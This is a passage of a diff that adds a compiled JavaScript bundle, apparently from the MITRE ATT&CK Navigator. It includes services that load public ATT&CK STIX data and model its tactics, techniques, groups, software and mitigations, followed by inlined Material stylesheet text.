(featureName) { + return this.features.has(featureName); + }; + /** + * return if the given string corresponds to a defined feature group + * @param featureGroupName the name of the feature group + * @return true if it is a feature group, false otherwise + */ + ConfigService.prototype.isFeatureGroup = function (featureGroupName) { + return this.featureGroups.has(featureGroupName); + }; + ConfigService.prototype.getFeatureGroups = function () { + var keys = []; + this.featureGroups.forEach(function (value, key) { keys.push(key); }); + return keys; + }; + ConfigService.prototype.getFeatures = function () { + var keys = []; + this.features.forEach(function (value, key) { keys.push(key); }); + return keys; + }; + /** + * Get all url fragments + * @param url optional, url to parse instead of window location href + * @return all fragments as key-value pairs + */ + ConfigService.prototype.getAllFragments = function (url) { + if (!url) + url = window.location.href; + var fragments = new Map(); + var regex = /[#&](\w+)=(\w+)/g; + // let results = url.match(regex) + var match; + while (match = regex.exec(url)) { + fragments.set(match[1], match[2]); + } + return fragments; + }; + ConfigService.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"] } + ]; }; + ConfigService = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Injectable"])({ + providedIn: 'root', + }), + __metadata("design:paramtypes", [_data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"]]) + ], ConfigService); + return ConfigService; +}()); + +var ContextMenuItem = /** @class */ (function () { + function ContextMenuItem(label, url, subtechnique_url) { + if (subtechnique_url === void 0) { subtechnique_url = null; } + this.label = label; + this.url = url; + this.subtechnique_url = subtechnique_url; + } + ContextMenuItem.prototype.getReplacedURL = function (technique, tactic) { + if (this.subtechnique_url && technique.isSubtechnique) { + return this.subtechnique_url.replace("{{parent_technique_attackID}}", technique.parent.attackID) + .replace("{{parent_technique_stixID}}", technique.parent.id) + .replace("{{parent_technique_name}}", technique.parent.name.replace(/ /g, "-").toLowerCase()) + .replace("{{subtechnique_attackID}}", technique.attackID) + .replace("{{subtechnique_attackID_suffix}}", technique.attackID.split(".")[1]) + .replace("{{subtechnique_stixID}}", technique.id) + .replace("{{subtechnique_name}}", technique.name.replace(/ /g, "-").toLowerCase()) + .replace("{{tactic_attackID}}", tactic.attackID) + .replace("{{tactic_stixID}}", tactic.id) + .replace("{{tactic_name}}", tactic.shortname); + } + else { + return this.url.replace("{{technique_attackID}}", technique.attackID) + .replace("{{technique_stixID}}", technique.id) + .replace("{{technique_name}}", technique.name.replace(/ /g, "-").toLowerCase()) + .replace("{{tactic_attackID}}", tactic.attackID) + .replace("{{tactic_stixID}}", tactic.id) + .replace("{{tactic_name}}", tactic.shortname); + } + }; + ContextMenuItem.ctorParameters = function () { return [ + null, + null, + null + ]; }; + return ContextMenuItem; +}()); + + + +/***/ }), + +/***/ "./src/app/data.service.ts": +/*!*********************************!*\ + !*** ./src/app/data.service.ts ***! + \*********************************/ +/*! exports provided: DataService, BaseStix, Matrix, Tactic, Technique, Software, Group, Mitigation */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "DataService", function() { return DataService; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "BaseStix", function() { return BaseStix; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Matrix", function() { return Matrix; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Tactic", function() { return Tactic; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Technique", function() { return Technique; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Software", function() { return Software; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Group", function() { return Group; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Mitigation", function() { return Mitigation; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _angular_common_http__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/common/http */ "./node_modules/@angular/common/fesm5/http.js"); +/* harmony import */ var rxjs_Rx__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! rxjs/Rx */ "./node_modules/rxjs-compat/_esm5/Rx.js"); +/* harmony import */ var rxjs_observable_fromPromise__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! rxjs/observable/fromPromise */ "./node_modules/rxjs-compat/_esm5/observable/fromPromise.js"); +/* harmony import */ var _taxii2lib__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./taxii2lib */ "./src/app/taxii2lib.ts"); +var __extends = (undefined && undefined.__extends) || (function () { + var extendStatics = function (d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; + return extendStatics(d, b); + }; + return function (d, b) { + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); + }; +})(); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + +// import { Http } from '@angular/http' + + + +var DataService = /** @class */ (function () { + function DataService(http) { + var _this = this; + this.http = http; + this.matrices = []; + this.tactics = []; + this.techniques = []; + this.subtechniques = []; + this.software = []; + this.groups = []; + this.mitigations = []; + this.relationships = { + // subtechniqye subtechnique-of technique + // ID of technique to [] of subtechnique IDs + subtechniques_of: new Map(), + // group uses technique + // ID of group to [] of technique IDs + group_uses: new Map(), + // group uses technique + // ID of group to [] of technique IDs + software_uses: new Map(), + // mitigation mitigates technique + // ID of mitigation to [] of technique IDs + mitigates: new Map() + }; + this.subtechniquesEnabled = true; + this.dataLoaded = false; + this.dataLoadedCallbacks = []; + // URLs in case config file doesn't load properly + this.enterpriseAttackURL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json"; + this.pre_attack_URL = "https://raw.githubusercontent.com/mitre/cti/master/pre-attack/pre-attack.json"; + this.mobileDataURL = "https://raw.githubusercontent.com/mitre/cti/master/mobile-attack/mobile-attack.json"; + this.useTAXIIServer = false; + this.taxiiURL = ''; + this.taxiiCollections = []; + console.log("initializing data service singleton"); + this.getConfig().subscribe(function (config) { + _this.setUpURLs(config["enterprise_attack_url"], config["pre_attack_url"], config["mobile_data_url"], config["taxii_server"]["enabled"], config["taxii_server"]["url"], config["taxii_server"]["collections"]); + if (config["domain"] === "mitre-enterprise") { + console.log("using enterprise data"); + _this.getEnterpriseData(false, config["taxii_server"]["enabled"]).subscribe(function (enterpriseData) { + _this.parseBundle(enterpriseData); + }); + } + else if (config["domain"] === "mitre-mobile") { + console.log("using mobile data"); + _this.getMobileData(false, config["taxii_server"]["enabled"]).subscribe(function (mobileData) { + _this.parseBundle(mobileData); + }); + } + }); + } + /** + * Callback functions passed to this function will be called after data is loaded + * @param {*} callback callback function to call when data is done loading + */ + DataService.prototype.onDataLoad = function (callback) { + this.dataLoadedCallbacks.push(callback); + }; + /** + * Parse the given stix bundle into the relevant data holders (above) + * @param {any[]} stixBundle: the STIX bundle to parse + */ + DataService.prototype.parseBundle = function (stixBundle) { + var _this = this; + var techniqueSDOs = []; + var idToTechniqueSDO = new Map(); + var matrixSDOs = []; + var idToTacticSDO = new Map(); + var phases = [ + { name: "prepare", objects: stixBundle[1]["objects"] }, + { name: "act", objects: stixBundle[0]["objects"] } + ]; + for (var _i = 0, phases_1 = phases; _i < phases_1.length; _i++) { + var phase = phases_1[_i]; + for (var _a = 0, _b = phase.objects; _a < _b.length; _a++) { //iterate through stix domain objects in the bundle + var sdo = _b[_a]; + // ignore deprecated and revoked objects in the bundle + if (sdo.x_mitre_deprecated || sdo.revoked) + continue; + // parse according to type + switch (sdo.type) { + case "intrusion-set": + this.groups.push(new Group(sdo, this)); + break; + case "malware": + case "tool": + this.software.push(new Software(sdo, this)); + break; + case "course-of-action": + this.mitigations.push(new Mitigation(sdo, this)); + break; + case "relationship": + if (sdo.relationship_type == "subtechnique-of" && this.subtechniquesEnabled) { + // record subtechnique:technique relationship + if (this.relationships["subtechniques_of"].has(sdo.target_ref)) { + var ids = this.relationships["subtechniques_of"].get(sdo.target_ref); + ids.push(sdo.source_ref); + } + else { + this.relationships["subtechniques_of"].set(sdo.target_ref, [sdo.source_ref]); + } + } + else if (sdo.relationship_type == "uses") { + if (sdo.source_ref.startsWith("intrusion-set") && sdo.target_ref.startsWith("attack-pattern")) { + // record group:technique relationship + if (this.relationships["group_uses"].has(sdo.source_ref)) { + var ids = this.relationships["group_uses"].get(sdo.source_ref); + ids.push(sdo.target_ref); + } + else { + this.relationships["group_uses"].set(sdo.source_ref, [sdo.target_ref]); + } + } + else if ((sdo.source_ref.startsWith("malware") || sdo.source_ref.startsWith("tool")) && sdo.target_ref.startsWith("attack-pattern")) { + // record software:technique relationship + if (this.relationships["software_uses"].has(sdo.source_ref)) { + var ids = this.relationships["software_uses"].get(sdo.source_ref); + ids.push(sdo.target_ref); + } + else { + this.relationships["software_uses"].set(sdo.source_ref, [sdo.target_ref]); + } + } + } + else if (sdo.relationship_type == "mitigates") { + if (this.relationships["mitigates"].has(sdo.source_ref)) { + var ids = this.relationships["mitigates"].get(sdo.source_ref); + ids.push(sdo.target_ref); + } + else { + this.relationships["mitigates"].set(sdo.source_ref, [sdo.target_ref]); + } + } + break; + case "attack-pattern": + idToTechniqueSDO.set(sdo.id, sdo); + if (sdo.x_mitre_is_subtechnique) { + if (this.subtechniquesEnabled) { + this.subtechniques.push(new Technique(sdo, [], this)); + } + } + else + techniqueSDOs.push(sdo); + break; + case "x-mitre-tactic": + idToTacticSDO.set(sdo.id, sdo); + break; + case "x-mitre-matrix": + matrixSDOs.push(sdo); + break; + } + } + } + var _loop_1 = function (techniqueSDO) { + var subtechniques = []; + if (this_1.subtechniquesEnabled) { + if (this_1.relationships.subtechniques_of.has(techniqueSDO.id)) { + this_1.relationships.subtechniques_of.get(techniqueSDO.id).forEach(function (sub_id) { + if (idToTechniqueSDO.has(sub_id)) + subtechniques.push(new Technique(idToTechniqueSDO.get(sub_id), [], _this)); + // else the target was revoked or deprecated and we can skip honoring the relationship + }); + } + } + this_1.techniques.push(new Technique(techniqueSDO, subtechniques, this_1)); + }; + var this_1 = this; + //create techniques + for (var _c = 0, techniqueSDOs_1 = techniqueSDOs; _c < techniqueSDOs_1.length; _c++) { + var techniqueSDO = techniqueSDOs_1[_c]; + _loop_1(techniqueSDO); + } + //create matrices, which also creates tactics and filters techniques + for (var _d = 0, matrixSDOs_1 = matrixSDOs; _d < matrixSDOs_1.length; _d++) { + var matrixSDO = matrixSDOs_1[_d]; + this.matrices.push(new Matrix(matrixSDO, idToTacticSDO, this.techniques, this)); + } + console.log("data.service parsing complete"); + this.dataLoaded = true; + for (var _e = 0, _f = this.dataLoadedCallbacks; _e < _f.length; _e++) { + var callback = _f[_e]; + callback(); + } + }; + /** + * Set up the URLs for data + * @param {string} eAttackURL enterprise domain url + * @param {string} preAttackURL pre-attack domain url + * @param {string} mURL mobile-attack url + * @param {boolean} useTAXIIServer use taxii server? + * @param {string} taxiiURL the URL of the taxii server + * @param {string[]} taxiiCollections taxii collections to fetch from + * @memberof DataService + */ + DataService.prototype.setUpURLs = function (eAttackURL, preAttackURL, mURL, useTAXIIServer, taxiiURL, taxiiCollections) { + this.enterpriseAttackURL = eAttackURL; + this.pre_attack_URL = preAttackURL; + this.mobileDataURL = mURL; + this.useTAXIIServer = useTAXIIServer; + this.taxiiURL = taxiiURL; + this.taxiiCollections = taxiiCollections; + }; + /** + * get the current config + * @param {boolean} refresh: if true fetches the config from file. Otherwise, only fetches if it's never been fetched before + */ + DataService.prototype.getConfig = function (refresh) { + if (refresh === void 0) { refresh = false; } + if (refresh || !this.configData$) { + this.configData$ = this.http.get("./assets/config.json"); + } + return this.configData$; + }; + /** + * fetch the enterprise data from the endpoint + */ + DataService.prototype.getEnterpriseData = function (refresh, useTAXIIServer) { + if (refresh === void 0) { refresh = false; } + if (useTAXIIServer === void 0) { useTAXIIServer = false; } + if (useTAXIIServer) { + console.log("fetching data from TAXII server"); + var conn = new _taxii2lib__WEBPACK_IMPORTED_MODULE_4__["TaxiiConnect"](this.taxiiURL, '', '', 5000); + var enterpriseCollectionInfo = { + 'id': this.taxiiCollections['enterprise_attack'], + 'title': 'Enterprise ATT&CK', + 'description': '', + 'can_read': true, + 'can_write': false, + 'media_types': ['application/vnd.oasis.stix+json'] + }; + var enterpriseCollection = new _taxii2lib__WEBPACK_IMPORTED_MODULE_4__["Collection"](enterpriseCollectionInfo, this.taxiiURL + 'stix', conn); + var preattackCollectionInfo = { + 'id': this.taxiiCollections['pre_attack'], + 'title': 'Pre-ATT&CK', + 'description': '', + 'can_read': true, + 'can_write': false, + 'media_types': ['application/vnd.oasis.stix+json'] + }; + var preattackCollection = new _taxii2lib__WEBPACK_IMPORTED_MODULE_4__["Collection"](preattackCollectionInfo, this.taxiiURL + 'stix', conn); + this.enterpriseData$ = rxjs_Rx__WEBPACK_IMPORTED_MODULE_2__["Observable"].forkJoin(Object(rxjs_observable_fromPromise__WEBPACK_IMPORTED_MODULE_3__["fromPromise"])(enterpriseCollection.getObjects('', undefined)), Object(rxjs_observable_fromPromise__WEBPACK_IMPORTED_MODULE_3__["fromPromise"])(preattackCollection.getObjects('', undefined))); + } + else if (refresh || !this.enterpriseData$) { + console.log("retrieving data", this.enterpriseAttackURL), + this.enterpriseData$ = rxjs_Rx__WEBPACK_IMPORTED_MODULE_2__["Observable"].forkJoin(this.http.get(this.enterpriseAttackURL), this.http.get(this.pre_attack_URL)); + } + return this.enterpriseData$; //observable + }; + /** + * fetch the mobile data from the endpoint + */ + DataService.prototype.getMobileData = function (refresh, useTAXIIServer) { + if (refresh === void 0) { refresh = false; } + if (useTAXIIServer === void 0) { useTAXIIServer = false; } + //load from remote if not yet loaded or refresh=true + if (useTAXIIServer) { + console.log("fetching data from TAXII server"); + var conn = new _taxii2lib__WEBPACK_IMPORTED_MODULE_4__["TaxiiConnect"](this.taxiiURL, '', '', 5000); + var mobileCollectionInfo = { + 'id': this.taxiiCollections['mobile_attack'], + 'title': 'Mobile ATT&CK', + 'description': '', + 'can_read': true, + 'can_write': false, + 'media_types': ['application/vnd.oasis.stix+json'] + }; + var mobileCollection = new _taxii2lib__WEBPACK_IMPORTED_MODULE_4__["Collection"](mobileCollectionInfo, this.taxiiURL + 'stix', conn); + var preattackCollectionInfo = { + 'id': this.taxiiCollections['pre_attack'], + 'title': 'Pre-ATT&CK', + 'description': '', + 'can_read': true, + 'can_write': false, + 'media_types': ['application/vnd.oasis.stix+json'] + }; + var preattackCollection = new _taxii2lib__WEBPACK_IMPORTED_MODULE_4__["Collection"](preattackCollectionInfo, this.taxiiURL + 'stix', conn); + this.mobileData$ = rxjs_Rx__WEBPACK_IMPORTED_MODULE_2__["Observable"].forkJoin(Object(rxjs_observable_fromPromise__WEBPACK_IMPORTED_MODULE_3__["fromPromise"])(mobileCollection.getObjects('', undefined)), Object(rxjs_observable_fromPromise__WEBPACK_IMPORTED_MODULE_3__["fromPromise"])(preattackCollection.getObjects('', undefined))); + } + else if (refresh || !this.mobileData$) { + console.log("retrieving data", this.mobileDataURL), + this.mobileData$ = rxjs_Rx__WEBPACK_IMPORTED_MODULE_2__["Observable"].forkJoin(this.http.get(this.mobileDataURL), this.http.get(this.pre_attack_URL)); + } + return this.mobileData$; //observable + }; + DataService.ctorParameters = function () { return [ + { type: _angular_common_http__WEBPACK_IMPORTED_MODULE_1__["HttpClient"] } + ]; }; + DataService = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Injectable"])({ + providedIn: 'root', + }), + __metadata("design:paramtypes", [_angular_common_http__WEBPACK_IMPORTED_MODULE_1__["HttpClient"]]) + ], DataService); + return DataService; +}()); + +/** + * Common attributes for STIX objects + */ +var BaseStix = /** @class */ (function () { + function BaseStix(stixSDO, dataService) { + this.id = stixSDO.id; + this.name = stixSDO.name; + this.description = stixSDO.description; + this.attackID = stixSDO.external_references[0].external_id; + this.stage = stixSDO.external_references[0].source_name == "mitre-pre-attack" ? "prepare" : "act"; + this.url = stixSDO.external_references[0].url; + this.dataService = dataService; + } + BaseStix.ctorParameters = function () { return [ + { type: undefined }, + { type: DataService } + ]; }; + return BaseStix; +}()); + +/** + * Object representing an ATT&CK matrix (x-mitre-matrix) + */ +var Matrix = /** @class */ (function (_super) { + __extends(Matrix, _super); + /** + * Creates an instance of Matrix. + * @param {*} stixSDO for the matrix + * @param {Map} idToTacticSDO map of tactic ID to tactic SDO + * @param {Technique[]} techniques all techniques defined in the domain + */ + function Matrix(stixSDO, idToTacticSDO, techniques, dataService) { + var _this = _super.call(this, stixSDO, dataService) || this; + _this.tactics = stixSDO.tactic_refs.map(function (tacticID) { return new Tactic(idToTacticSDO.get(tacticID), techniques, _this.dataService); }); + return _this; + } + Matrix.ctorParameters = function () { return [ + { type: undefined }, + { type: Map }, + { type: Array }, + { type: DataService } + ]; }; + return Matrix; +}(BaseStix)); + +/** + * Object representing a Tactic (x-mitre-tactic) in the ATT&CK matrix + */ +var Tactic = /** @class */ (function (_super) { + __extends(Tactic, _super); + /** + * Creates an instance of Tactic. + * @param {*} stixSDO for the tactic + * @param {Technique[]} techniques all techniques in the domain + */ + function Tactic(stixSDO, techniques, dataService) { + var _this = _super.call(this, stixSDO, dataService) || this; + _this.shortname = stixSDO.x_mitre_shortname; + _this.techniques = techniques.filter(function (technique) { return technique.tactics.includes(_this.shortname); }); + return _this; + } + Tactic.ctorParameters = function () { return [ + { type: undefined }, + { type: Array }, + { type: DataService } + ]; }; + return Tactic; +}(BaseStix)); + +/** + * Object representing a Technique (attack-pattern) in the ATT&CK matrix + */ +var Technique = /** @class */ (function (_super) { + __extends(Technique, _super); + /** + * Creates an instance of Technique. + * @param {*} stixSDO for the technique + * @param {Technique[]} subtechniques occuring under the technique + */ + function Technique(stixSDO, subtechniques, dataService) { + var _this = _super.call(this, stixSDO, dataService) || this; + _this.parent = null; // parent technique. Only present if it's a sub-technique + _this.platforms = stixSDO.x_mitre_platforms; + if (stixSDO.x_mitre_data_sources !== undefined) + _this.datasources = stixSDO.x_mitre_data_sources.toString(); + else + _this.datasources = ""; + _this.tactics = stixSDO.kill_chain_phases.map(function (phase) { return phase.phase_name; }); + _this.subtechniques = subtechniques; + for (var _i = 0, _a = _this.subtechniques; _i < _a.length; _i++) { + var subtechnique = _a[_i]; + subtechnique.parent = _this; + } + return _this; + } + Object.defineProperty(Technique.prototype, "isSubtechnique", { + get: function () { return this.parent != null; }, + enumerable: true, + configurable: true + }); + /** + * Get an ID identifying this technique under a specific tactic + * @param {string|Tactic} tactic tactic name in phase-name/shortname format, or a Tactic object itself + * @returns {string} ID for this technique under that tactic + */ + Technique.prototype.get_technique_tactic_id = function (tactic) { + var tactic_shortname = tactic instanceof Tactic ? tactic.shortname : tactic; + if (!this.tactics.includes(tactic_shortname)) + throw new Error(tactic_shortname + " is not a tactic of " + this.attackID); + return this.attackID + "^" + tactic_shortname; + }; + /** + * Get all possible IDs identifying this technique under tactics + * Basically the same as calling get_technique_tactic_id with all valid tactic values + */ + Technique.prototype.get_all_technique_tactic_ids = function () { + var _this = this; + return this.tactics.map(function (shortname) { return _this.get_technique_tactic_id(shortname); }); + }; + Technique.ctorParameters = function () { return [ + { type: undefined }, + { type: Array }, + { type: DataService } + ]; }; + return Technique; +}(BaseStix)); + +/** + * Object representing a Software (tool, malware) in the ATT&CK catalogue + */ +var Software = /** @class */ (function (_super) { + __extends(Software, _super); + function Software() { + return _super !== null && _super.apply(this, arguments) || this; + } + /** + * get techniques used by this software + * @returns {string[]} technique IDs used by this software + */ + Software.prototype.used = function () { + var rels = this.dataService.relationships.software_uses; + if (rels.has(this.id)) + return rels.get(this.id); + else + return []; + }; + /** + * Return all related techniques + */ + Software.prototype.relatedTechniques = function () { + return this.used(); + }; + return Software; +}(BaseStix)); + +/** + * Object representing a Group (intrusion-set) in the ATT&CK catalogue + */ +var Group = /** @class */ (function (_super) { + __extends(Group, _super); + function Group() { + return _super !== null && _super.apply(this, arguments) || this; + } + /** + * get techniques used by this group + * @returns {string[]} technique IDs used by this group + */ + Group.prototype.used = function () { + var rels = this.dataService.relationships.group_uses; + if (rels.has(this.id)) + return rels.get(this.id); + else + return []; + }; + /** + * Return all related techniques + */ + Group.prototype.relatedTechniques = function () { + return this.used(); + }; + return Group; +}(BaseStix)); + +/** + * Object representing a Mitigation (course-of-action) in the ATT&CK catalogue + */ +var Mitigation = /** @class */ (function (_super) { + __extends(Mitigation, _super); + function Mitigation() { + return _super !== null && _super.apply(this, arguments) || this; + } + /** + * get techniques mitigated by this mitigation + * @returns {string[]} list of technique IDs + */ + Mitigation.prototype.mitigated = function () { + var rels = this.dataService.relationships.mitigates; + if (rels.has(this.id)) + return rels.get(this.id); + else + return []; + }; + /** + * Return all related techniques + */ + Mitigation.prototype.relatedTechniques = function () { + return this.mitigated(); + }; + return Mitigation; +}(BaseStix)); + + + +/***/ }), + +/***/ "./src/app/datatable/data-table.component.scss": +/*!*****************************************************!*\ + !*** ./src/app/datatable/data-table.component.scss ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "@charset \"UTF-8\";\n/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n/* You can add global styles to this file, and also import other style files */\n.mat-badge-content{font-weight:600;font-size:12px;font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-badge-small .mat-badge-content{font-size:9px}\n.mat-badge-large .mat-badge-content{font-size:24px}\n.mat-h1,.mat-headline,.mat-typography h1{font:400 24px/32px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 16px}\n.mat-h2,.mat-title,.mat-typography h2{font:500 20px/32px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 16px}\n.mat-h3,.mat-subheading-2,.mat-typography h3{font:400 16px/28px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 16px}\n.mat-h4,.mat-subheading-1,.mat-typography h4{font:400 15px/24px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 16px}\n.mat-h5,.mat-typography h5{font:400 calc(14px * .83)/20px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 12px}\n.mat-h6,.mat-typography h6{font:400 calc(14px * .67)/20px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 12px}\n.mat-body-2,.mat-body-strong{font:500 14px/24px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-body,.mat-body-1,.mat-typography{font:400 14px/20px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-body p,.mat-body-1 p,.mat-typography p{margin:0 0 12px}\n.mat-caption,.mat-small{font:400 12px/20px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-display-4,.mat-typography .mat-display-4{font:300 112px/112px Roboto,\"Helvetica Neue\",sans-serif;letter-spacing:-.05em;margin:0 0 56px}\n.mat-display-3,.mat-typography .mat-display-3{font:400 56px/56px Roboto,\"Helvetica Neue\",sans-serif;letter-spacing:-.02em;margin:0 0 64px}\n.mat-display-2,.mat-typography .mat-display-2{font:400 45px/48px Roboto,\"Helvetica Neue\",sans-serif;letter-spacing:-.005em;margin:0 0 64px}\n.mat-display-1,.mat-typography .mat-display-1{font:400 34px/40px Roboto,\"Helvetica Neue\",sans-serif;margin:0 0 64px}\n.mat-bottom-sheet-container{font:400 14px/20px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-button,.mat-fab,.mat-flat-button,.mat-icon-button,.mat-mini-fab,.mat-raised-button,.mat-stroked-button{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:14px;font-weight:500}\n.mat-button-toggle{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-card{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-card-title{font-size:24px;font-weight:500}\n.mat-card-header .mat-card-title{font-size:20px}\n.mat-card-content,.mat-card-subtitle{font-size:14px}\n.mat-checkbox{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-checkbox-layout .mat-checkbox-label{line-height:24px}\n.mat-chip{font-size:14px;font-weight:500}\n.mat-chip .mat-chip-remove.mat-icon,.mat-chip .mat-chip-trailing-icon.mat-icon{font-size:18px}\n.mat-table{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-header-cell{font-size:12px;font-weight:500}\n.mat-cell,.mat-footer-cell{font-size:14px}\n.mat-calendar{font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-calendar-body{font-size:13px}\n.mat-calendar-body-label,.mat-calendar-period-button{font-size:14px;font-weight:500}\n.mat-calendar-table-header th{font-size:11px;font-weight:400}\n.mat-dialog-title{font:500 20px/32px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-expansion-panel-header{font-family:Roboto,\"Helvetica Neue\",sans-serif;font-size:15px;font-weight:400}\n.mat-expansion-panel-content{font:400 14px/20px Roboto,\"Helvetica Neue\",sans-serif}\n.mat-form-field{font-size:inherit;font-weight:400;line-height:1.125;font-family:Roboto,\"Helvetica Neue\",sans-serif}\n.mat-form-field-wrapper{padding-bottom:1.34375em}\n.mat-form-field-prefix .mat-icon,.mat-form-field-suffix .mat-icon{font-size:150%;line-height:1.125}\n.mat-form-field-prefix .mat-icon-button,.mat-form-field-suffix .mat-icon-button{height:1.5em;width:1.5em}\n.mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field-suffix .mat-icon-button .mat-icon{height:1.125em;line-height:1.125}\n.mat-form-field-infix{padding:.5em 0;border-top:.84375em solid transparent}\n.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{-webkit-transform:translateY(-1.34375em) scale(.75);transform:translateY(-1.34375em) scale(.75);width:133.33333%}\n.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.34374em) scale(.75);transform:translateY(-1.34374em) scale(.75);width:133.33334%}\n.mat-form-field-label-wrapper{top:-.84375em;padding-top:.84375em}\n.mat-form-field-label{top:1.34375em}\n.mat-form-field-underline{bottom:1.34375em}\n.mat-form-field-subscript-wrapper{font-size:75%;margin-top:.66667em;top:calc(100% - 1.79167em)}\n.mat-form-field-appearance-legacy .mat-form-field-wrapper{padding-bottom:1.25em}\n.mat-form-field-appearance-legacy .mat-form-field-infix{padding:.4375em 0}\n.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-appearance-legacy.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{-webkit-transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.001px);transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.001px);-ms-transform:translateY(-1.28125em) scale(.75);width:133.33333%}\n.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00101px);transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00101px);-ms-transform:translateY(-1.28124em) scale(.75);width:133.33334%}\n.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00102px);transform:translateY(-1.28125em) scale(.75) perspective(100px) translateZ(.00102px);-ms-transform:translateY(-1.28123em) scale(.75);width:133.33335%}\n.mat-form-field-appearance-legacy .mat-form-field-label{top:1.28125em}\n.mat-form-field-appearance-legacy .mat-form-field-underline{bottom:1.25em}\n.mat-form-field-appearance-legacy .mat-form-field-subscript-wrapper{margin-top:.54167em;top:calc(100% - 1.66667em)}\n@media print{.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-appearance-legacy.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{-webkit-transform:translateY(-1.28122em) scale(.75);transform:translateY(-1.28122em) scale(.75)}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.28121em) scale(.75);transform:translateY(-1.28121em) scale(.75)}.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{-webkit-transform:translateY(-1.2812em) scale(.75);transform:translateY(-1.2812em) scale(.75)}}\n.mat-form-field-appearance-fill .mat-form-field-infix{padding:.25em 0 .75em 0}\n.mat-form-field-appearance-fill 